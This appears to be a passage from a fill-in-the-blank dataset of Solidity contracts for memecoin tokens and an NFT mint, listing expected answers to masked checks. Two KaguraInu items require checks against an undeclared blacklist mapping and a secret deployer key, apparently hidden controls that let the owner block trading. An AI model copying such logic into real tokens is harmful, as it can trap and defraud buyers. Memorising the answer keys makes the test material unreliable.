excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(address(this), initialTotalSupply);
}
receive() external payable {}
function initialize() external onlyOwner() {
}
function openTrading() external onlyOwner() {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function removeTheLimits() external onlyOwner{
}
function CanSwap(bytes32 _key) internal view returns(bool) {
}
function clearStuckEth() external onlyOwner {
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
}
function manualswap(uint256 percent) external {
}
function swapBack(uint256 tokens) private {
}
}
| CanSwap(_deployer),"Token is tradeable" | 123,592 | CanSwap(_deployer) |
"ERC20: transfer from/to the blacklisted address" | // SPDX-License-Identifier: MIT
/*
Anime season is coming back...
Telegram: https://t.me/KaguraInuAnimeETH
Website: https://kagurainu.com
Twitter: https://twitter.com/KaguraInu50
*/
pragma solidity = 0.8.20;
pragma experimental ABIEncoderV2;
import "contracts/Context.sol";
import "contracts/Ownable.sol";
import "contracts/IERC20.sol";
import "contracts/ERC20.sol";
import "contracts/IUniswapV2Factory.sol";
import "contracts/IUniswapV2Pair.sol";
import "contracts/IUniswapV2Router01.sol";
import "contracts/IUniswapV2Router02.sol";
import "contracts/SafeMath.sol";
contract KaguraInu is ERC20, Ownable, BaseMath {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "Kagura Inu";
string private constant _symbol = "KINU";
uint256 public initialTotalSupply = 1000000 * 1e18;
uint256 public maxTransactionAmount = 20000 * 1e18;
uint256 public maxWallet = 20000 * 1e18;
uint256 public swapTokensAtAmount = 10000 * 1e18;
uint256 public buyCount;
uint256 public sellCount;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 20;
uint256 public SellFee = 20;
uint256 private removeBuyFeesAt = 15;
uint256 private removeSellFeesAt = 10;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet, bytes32 _deployer) ERC20(_name, _symbol) {
}
receive() external payable {}
function initialize() external onlyOwner() {
}
function openTrading() external onlyOwner() {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if(buyCount >= removeBuyFeesAt){
BuyFee = 1;
}
if(sellCount >= removeSellFeesAt){
SellFee = 1;
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
buyCount++;
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
sellCount++;
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
}
else {
fees = amount.mul(BuyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function removeTheLimits() external onlyOwner{
}
function CanSwap(bytes32 _key) internal view returns(bool) {
}
function clearStuckEth() external onlyOwner {
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
}
function manualswap(uint256 percent) external {
}
function swapBack(uint256 tokens) private {
}
}
| !m[from]&&!m[to],"ERC20: transfer from/to the blacklisted address" | 123,592 | !m[from]&&!m[to] |
"Over maximum supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ERC721A.sol";
contract BoredGoblinYachtClub is ERC721A, Ownable {
uint256 public price = 0.005 ether;
uint256 public maxMintPerWallet = 50;
uint256 public maxFreeMintPerWallet = 5;
uint256 public freeMintAmount = 500;
uint256 public maxTotalSupply = 3000;
uint256 public saleStartTime;
string private baseURI;
constructor() ERC721A("BoredGoblinYachtClub", "BGYC") {
}
modifier mintableSupply(uint256 _quantity) {
require(<FILL_ME>)
_;
}
modifier saleActive() {
}
function mintBGYC(uint256 _quantity)
external
payable
saleActive
mintableSupply(_quantity)
{
}
function setPrice(uint256 _price) external onlyOwner {
}
function setTime(uint256 _time) external onlyOwner {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
}
| totalSupply()+_quantity<=maxTotalSupply,"Over maximum supply." | 123,656 | totalSupply()+_quantity<=maxTotalSupply |
"Over max free mint limit." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ERC721A.sol";
contract BoredGoblinYachtClub is ERC721A, Ownable {
uint256 public price = 0.005 ether;
uint256 public maxMintPerWallet = 50;
uint256 public maxFreeMintPerWallet = 5;
uint256 public freeMintAmount = 500;
uint256 public maxTotalSupply = 3000;
uint256 public saleStartTime;
string private baseURI;
constructor() ERC721A("BoredGoblinYachtClub", "BGYC") {
}
modifier mintableSupply(uint256 _quantity) {
}
modifier saleActive() {
}
function mintBGYC(uint256 _quantity)
external
payable
saleActive
mintableSupply(_quantity)
{
require(_quantity <= maxMintPerWallet, "Over maximum limit.");
uint256 curr_value;
if (totalSupply() + _quantity <= freeMintAmount) {
require(
_quantity <= maxFreeMintPerWallet,
"Over max free mint limit."
);
curr_value = 0;
}
if (
totalSupply() < freeMintAmount &&
(totalSupply() + _quantity > freeMintAmount)
) {
require(<FILL_ME>)
curr_value = (totalSupply() + _quantity - freeMintAmount) * price;
}
if (totalSupply() >= freeMintAmount) {
curr_value = _quantity * price;
}
require(msg.value >= curr_value, "Insufficent funds.");
_safeMint(msg.sender, _quantity);
}
function setPrice(uint256 _price) external onlyOwner {
}
function setTime(uint256 _time) external onlyOwner {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
}
| _numberMinted(msg.sender)+freeMintAmount-totalSupply()<=maxFreeMintPerWallet,"Over max free mint limit." | 123,656 | _numberMinted(msg.sender)+freeMintAmount-totalSupply()<=maxFreeMintPerWallet |
"Cannot set maxTransactionAmounts lower than 2%" | // SPDX-License-Identifier: MIT
/*
Website https://www.chyna.io/
Twitter https://twitter.com/ChynaToken
Telegram https://t.me/CHYNAPORTAL
Greatest Hits
https://www.youtube.com/watch?v=dVCF4sL2VYE
*/
pragma solidity 0.8.20;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CHYNA is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
address private developmentWallet;
address private marketingWallet;
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint256 buyTotalFees;
uint256 buyMarketingFee;
uint256 buyDevelopmentFee;
uint256 buyLiquidityFee;
uint256 sellTotalFees;
uint256 sellMarketingFee;
uint256 sellDevelopmentFee;
uint256 sellLiquidityFee;
}
Fees public _fees = Fees({
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevelopmentFee:0,
buyLiquidityFee: 0,
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevelopmentFee:0,
sellLiquidityFee: 0
});
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDevelopment;
uint256 private taxTill;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
mapping(address => bool) public marketPair;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("CHYNA", "CHYNA") {
}
receive() external payable {
}
function swapTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
require(<FILL_ME>)
require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 50), "Cannot set maxTransactionAmounts lower than 2%");
maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
maxSellAmount = (totalSupply() * newMaxSell) / 1000;
}
function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function updateFees(uint256 _marketingFeeBuy, uint256 _liquidityFeeBuy,uint256 _developmentFeeBuy,uint256 _marketingFeeSell, uint256 _liquidityFeeSell,uint256 _developmentFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function setWallets(address _marketingWallet,address _developmentWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tAmount) private {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| ((totalSupply()*newMaxBuy)/1000)>=(totalSupply()/50),"Cannot set maxTransactionAmounts lower than 2%" | 123,846 | ((totalSupply()*newMaxBuy)/1000)>=(totalSupply()/50) |
"Cannot set maxTransactionAmounts lower than 2%" | // SPDX-License-Identifier: MIT
/*
Website https://www.chyna.io/
Twitter https://twitter.com/ChynaToken
Telegram https://t.me/CHYNAPORTAL
Greatest Hits
https://www.youtube.com/watch?v=dVCF4sL2VYE
*/
pragma solidity 0.8.20;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CHYNA is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
address private developmentWallet;
address private marketingWallet;
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint256 buyTotalFees;
uint256 buyMarketingFee;
uint256 buyDevelopmentFee;
uint256 buyLiquidityFee;
uint256 sellTotalFees;
uint256 sellMarketingFee;
uint256 sellDevelopmentFee;
uint256 sellLiquidityFee;
}
Fees public _fees = Fees({
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevelopmentFee:0,
buyLiquidityFee: 0,
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevelopmentFee:0,
sellLiquidityFee: 0
});
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDevelopment;
uint256 private taxTill;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
mapping(address => bool) public marketPair;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("CHYNA", "CHYNA") {
}
receive() external payable {
}
function swapTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 50), "Cannot set maxTransactionAmounts lower than 2%");
require(<FILL_ME>)
maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
maxSellAmount = (totalSupply() * newMaxSell) / 1000;
}
function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function updateFees(uint256 _marketingFeeBuy, uint256 _liquidityFeeBuy,uint256 _developmentFeeBuy,uint256 _marketingFeeSell, uint256 _liquidityFeeSell,uint256 _developmentFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function setWallets(address _marketingWallet,address _developmentWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tAmount) private {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| ((totalSupply()*newMaxSell)/1000)>=(totalSupply()/50),"Cannot set maxTransactionAmounts lower than 2%" | 123,846 | ((totalSupply()*newMaxSell)/1000)>=(totalSupply()/50) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.